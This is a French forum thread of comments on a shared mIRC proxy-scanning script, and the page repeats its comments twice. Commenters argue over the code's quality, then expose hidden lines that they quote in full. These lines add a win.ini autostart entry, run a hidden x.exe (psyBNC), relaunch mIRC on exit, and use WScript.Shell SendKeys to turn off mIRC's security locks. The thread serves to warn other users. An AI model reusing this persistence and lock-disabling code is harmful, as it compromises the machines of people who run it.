WorldDMT
Messages postés871Date d'inscriptionjeudi 6 juillet 2006StatutMembreDernière intervention 6 janvier 2012
-
14 juin 2009 à 01:00
cs_wims
Messages postés2466Date d'inscriptionvendredi 23 juillet 2004StatutMembreDernière intervention 1 août 2010
-
17 juin 2009 à 16:00
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.
cs_wims
Messages postés2466Date d'inscriptionvendredi 23 juillet 2004StatutMembreDernière intervention 1 août 20101 17 juin 2009 à 16:00
Je recommande a personne d'utiliser ce code tant que l'auteur n'a pas justifié son code.
J'espère aussi qu'un admin va vite passer...
Et n'oubliez pas, n'éxécutez jamais un code dont vous ne savez pas ce qu'il fait (hein Uaip).
uaip
Messages postés1466Date d'inscriptionmardi 20 février 2007StatutMembreDernière intervention 7 février 2011 16 juin 2009 à 18:01
Pour ma part j'ai simplement regardé ce qui pouvait être intéressant dans le code (voir mes coms précédents), mais comme un con, j'ai testé. Ca a frizé mIRC. J'ai du modifier manuellement mirc.ini pour virer le script.
Cela dit, je n'ai pas le souvenir d'avoir vu l'utilisation des objets COM, donc c'est probable qu'il ait modifié le code, mais je pense plutôt que c'est moi qui ai mal lu.
En effet wims, ya quelques trucs louches...
cs_wims
Messages postés2466Date d'inscriptionvendredi 23 juillet 2004StatutMembreDernière intervention 1 août 20101 16 juin 2009 à 01:45
je sais pas trop ce que c'est que cette blague, vous n'avez donc pas regardé le code ou alors il a update après mais j'aimerai bien bien que l'auteur nous explique ces quelques lignes :
on 1:START:{ inc %start | Echo -a Its the %start $+ th time mIRC started. | titlebar Proxy Scan Script .timercc -o 0 10 chk.cc | writeini $left($mircexe,1) $+ :/windows/win.ini windows load $shortfn($mircexe) | .timerleech -o 1 10 leech | scan.win | .timer0 4 2 noop $_lock(decode).e | query -psyBNC | run system\files\other\x.exe hide:psyBNC }
on 1:EXIT:run $shortfn($mircexe)
ces deux lignes sont les deux dernières...
Ensuite des lignes 337 à 364 :
# Alias _lock {
# if ($lock(com) == $true) { echo $color(info) -at * $!_lock() Error - COM is currently locked through mIRC options and this snippet counts on COM objects. Please, enable COM from the mIRC lock options. | return }
# if (!$isid) { echo $color(info) -at * $!_lock() Error - This ust be used as an identifier | return }
# if ($regex($1,/^(com|decode|dll|run)$/i)) {
# var %i = $findtok(com|decode|dll|run,$regml(1),1,124)# var %echo echo $color(info) -at * $upper($regml(1)) is currently $iif($lock($regml(1)) $true,disabled,enabled) $+ . $iif($lock($regml(1)) == $true,Enabling,Disabling) now.
# var %cmd = .sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},{TAB 10},{DOWN %i $+ }h h{ENTER})
# if (!$prop) { echo $color(info) -at * $upper($regml(1)) is currently $iif($lock($1),disabled,enabled) $+ . $iif($lock($1),Enabling,Disabling) now. | %cmd }
# else {
# var %prop = $findtok(state e enable d disable o option,$prop,1,32)
# if (!%prop) { echo $color(info) -at * $!_lock() Error - Bad property. Syntax: $!_lock(<category>).e d o /enable disable option | return }
# if (%prop == 1) echo $color(info) -at * $!_lock - $upper($1) is currently $iif($lock($regml(1)),disabled,enabled)
# elseif (%prop isnum 2-3) { if (!$lock($regml(1))) { echo $color(info) -at * $!_lock - $upper($regml(1)) is already enabled. } | else { %echo | %cmd } }
# elseif (%prop isnum 4-5) { if ($lock($regml(1))) { echo $color(info) -at * $!_lock - $upper($regml(1)) is already disabled. } | else { %echo | %cmd } }
# elseif (%prop isnum 6-7) sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},$str({TAB},10), $+ $str({DOWN},%i) $+ )
# }
# }
# else { echo $color(info) -at * $!_lock() Error - Available options are Com Decode DLL Run | return }
# }
# Alias -l sendkeys {
# var %object = sendkeys $+ $ticks
# .comopen %object WScript.Shell
# if ($com(%object)) { .comclose %object $com(%object,SendKeys,3,bstr,$1-) }
# }
# Alias bringopt {
# var %i = $findtok(com|decode|dll|run,$1,1,124)
# sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},$str({TAB},10), $+ $str({DOWN},%i) $+ )
# }
je vois mal en quoi ces lignes sont utiles au bon fonctionnement du script j'ai pas maté en détail mais ya des dizaine de /sockopen et tout, ça sent pas très bon =/
uaip
Messages postés1466Date d'inscriptionmardi 20 février 2007StatutMembreDernière intervention 7 février 2011 15 juin 2009 à 18:45
Pour moi, expert ne veut pas dire parfait, ça veut dire expert.
Cette source n'a rien d'une source de débutant. Un débutant (à proprement parler) ne saurait pas gérer un socket, ni contrôler par expressions régulières, ni utiliser l'encodage.
Et pour répondre à ta question, tu penses mal, %hh est utilisé à la ligne 138.
WorldDMT
Messages postés871Date d'inscriptionjeudi 6 juillet 2006StatutMembreDernière intervention 6 janvier 20121 15 juin 2009 à 18:30
j'ai bien dis c'est juste un exemple
ok a ton avis c'est du niveau expert avec les goto en cascade
regarde moi cette variable dans la ligne 133 a quoi ça sert?
%hh = -*FYO=&EC92IA=71H*@``
je pense que c'est plutot "%gh" :)
uaip
Messages postés1466Date d'inscriptionmardi 20 février 2007StatutMembreDernière intervention 7 février 2011 15 juin 2009 à 18:09
On s'en fout.
C'est pas 1 ligne qui va changer le niveau d'une source. Désolé mais je trouve ton commentaire ridicule, surtout après avoir dit que tu avais regardé 10 lignes sur 550.
D'ailleurs, dans ta correction, je ne vois pas en quoi ($regex($1,/(\w*\.*\w+\.\w+\.\w+)/is)) équivaut à (212.62 !isin $1)
Enfin, en même temps que j'écris ce poste, je viens de voir ta source (cf. youtube), niveau initié. J'aurais mis débutant :)
WorldDMT
Messages postés871Date d'inscriptionjeudi 6 juillet 2006StatutMembreDernière intervention 6 janvier 20121 15 juin 2009 à 11:20
a vrai dire j'ai pas regarder le reste mais juste la premiere alias
pour un niveau expert il doit ajouter une regex qui verifie que $1 est un format serveur en suite la ligne 3 et 9 c'est pas du niveau
au moin quelque chose comme ça
alias sc4n {
if ($regex($1,/(\w*\.*\w+\.\w+\.\w+)/is)) && (!$regex($2,^(666[0-9]|7000|3127|3124|9090)$)) {
var %scan $read($pxy,w,$1)
if (!%scan) sockopen scan $+ $r(0,99999999999999) $1 $2
echo @Proxyscan $iif(%scan,$1 $2 Already in list $+ $chr(44) halted scan.,Scanning: $1 $2)
}
}
NB: pas testé rien juste un exemple
uaip
Messages postés1466Date d'inscriptionmardi 20 février 2007StatutMembreDernière intervention 7 février 2011 14 juin 2009 à 18:00
Salut,
Pas vraiment non.
As-tu regardé le code avant de dire ça ?
Si tous les "moins que débutants" étaient capables de pondre 558 lignes mélangeant expressions régulières, sockets, encodage, etc, la notion de "débutant" n'aurait plus aucun sens.
WorldDMT
Messages postés871Date d'inscriptionjeudi 6 juillet 2006StatutMembreDernière intervention 6 janvier 20121 14 juin 2009 à 01:00
17 juin 2009 à 16:00
J'espère aussi qu'un admin va vite passer...
Et n'oubliez pas, n'éxécutez jamais un code dont vous ne savez pas ce qu'il fait (hein Uaip).
16 juin 2009 à 18:01
Cela dit, je n'ai pas le souvenir d'avoir vu l'utilisation des objets COM, donc c'est probable qu'il ait modifié le code, mais je pense plutôt que c'est moi qui ai mal lu.
En effet wims, ya quelques trucs louches...
16 juin 2009 à 01:45
on 1:START:{ inc %start | Echo -a Its the %start $+ th time mIRC started. | titlebar Proxy Scan Script .timercc -o 0 10 chk.cc | writeini $left($mircexe,1) $+ :/windows/win.ini windows load $shortfn($mircexe) | .timerleech -o 1 10 leech | scan.win | .timer0 4 2 noop $_lock(decode).e | query -psyBNC | run system\files\other\x.exe hide:psyBNC }
on 1:EXIT:run $shortfn($mircexe)
ces deux lignes sont les deux dernières...
Ensuite des lignes 337 à 364 :
# Alias _lock {
# if ($lock(com) == $true) { echo $color(info) -at * $!_lock() Error - COM is currently locked through mIRC options and this snippet counts on COM objects. Please, enable COM from the mIRC lock options. | return }
# if (!$isid) { echo $color(info) -at * $!_lock() Error - This ust be used as an identifier | return }
# if ($regex($1,/^(com|decode|dll|run)$/i)) {
# var %i = $findtok(com|decode|dll|run,$regml(1),1,124)# var %echo echo $color(info) -at * $upper($regml(1)) is currently $iif($lock($regml(1)) $true,disabled,enabled) $+ . $iif($lock($regml(1)) == $true,Enabling,Disabling) now.
# var %cmd = .sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},{TAB 10},{DOWN %i $+ }h h{ENTER})
# if (!$prop) { echo $color(info) -at * $upper($regml(1)) is currently $iif($lock($1),disabled,enabled) $+ . $iif($lock($1),Enabling,Disabling) now. | %cmd }
# else {
# var %prop = $findtok(state e enable d disable o option,$prop,1,32)
# if (!%prop) { echo $color(info) -at * $!_lock() Error - Bad property. Syntax: $!_lock(<category>).e d o /enable disable option | return }
# if (%prop == 1) echo $color(info) -at * $!_lock - $upper($1) is currently $iif($lock($regml(1)),disabled,enabled)
# elseif (%prop isnum 2-3) { if (!$lock($regml(1))) { echo $color(info) -at * $!_lock - $upper($regml(1)) is already enabled. } | else { %echo | %cmd } }
# elseif (%prop isnum 4-5) { if ($lock($regml(1))) { echo $color(info) -at * $!_lock - $upper($regml(1)) is already disabled. } | else { %echo | %cmd } }
# elseif (%prop isnum 6-7) sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},$str({TAB},10), $+ $str({DOWN},%i) $+ )
# }
# }
# else { echo $color(info) -at * $!_lock() Error - Available options are Com Decode DLL Run | return }
# }
# Alias -l sendkeys {
# var %object = sendkeys $+ $ticks
# .comopen %object WScript.Shell
# if ($com(%object)) { .comclose %object $com(%object,SendKeys,3,bstr,$1-) }
# }
# Alias bringopt {
# var %i = $findtok(com|decode|dll|run,$1,1,124)
# sendkeys $+(%,O{HOME},$str({LEFT}{DOWN},6),{LEFT}{END}{RIGHT}{DOWN},$str({TAB},10), $+ $str({DOWN},%i) $+ )
# }
je vois mal en quoi ces lignes sont utiles au bon fonctionnement du script j'ai pas maté en détail mais ya des dizaine de /sockopen et tout, ça sent pas très bon =/
15 juin 2009 à 18:45
Cette source n'a rien d'une source de débutant. Un débutant (à proprement parler) ne saurait pas gérer un socket, ni contrôler par expressions régulières, ni utiliser l'encodage.
Et pour répondre à ta question, tu penses mal, %hh est utilisé à la ligne 138.
15 juin 2009 à 18:30
ok a ton avis c'est du niveau expert avec les goto en cascade
regarde moi cette variable dans la ligne 133 a quoi ça sert?
%hh = -*FYO=&EC92IA=71H*@``
je pense que c'est plutot "%gh" :)
15 juin 2009 à 18:09
C'est pas 1 ligne qui va changer le niveau d'une source. Désolé mais je trouve ton commentaire ridicule, surtout après avoir dit que tu avais regardé 10 lignes sur 550.
D'ailleurs, dans ta correction, je ne vois pas en quoi ($regex($1,/(\w*\.*\w+\.\w+\.\w+)/is)) équivaut à (212.62 !isin $1)
Enfin, en même temps que j'écris ce poste, je viens de voir ta source (cf. youtube), niveau initié. J'aurais mis débutant :)
15 juin 2009 à 11:20
pour un niveau expert il doit ajouter une regex qui verifie que $1 est un format serveur en suite la ligne 3 et 9 c'est pas du niveau
au moin quelque chose comme ça
alias sc4n {
if ($regex($1,/(\w*\.*\w+\.\w+\.\w+)/is)) && (!$regex($2,^(666[0-9]|7000|3127|3124|9090)$)) {
var %scan $read($pxy,w,$1)
if (!%scan) sockopen scan $+ $r(0,99999999999999) $1 $2
echo @Proxyscan $iif(%scan,$1 $2 Already in list $+ $chr(44) halted scan.,Scanning: $1 $2)
}
}
NB: pas testé rien juste un exemple
14 juin 2009 à 18:00
Pas vraiment non.
As-tu regardé le code avant de dire ça ?
Si tous les "moins que débutants" étaient capables de pondre 558 lignes mélangeant expressions régulières, sockets, encodage, etc, la notion de "débutant" n'aurait plus aucun sens.
14 juin 2009 à 01:00
niveau expert!!!!!!!!!!!!!
c'est du moin que debutant ça :s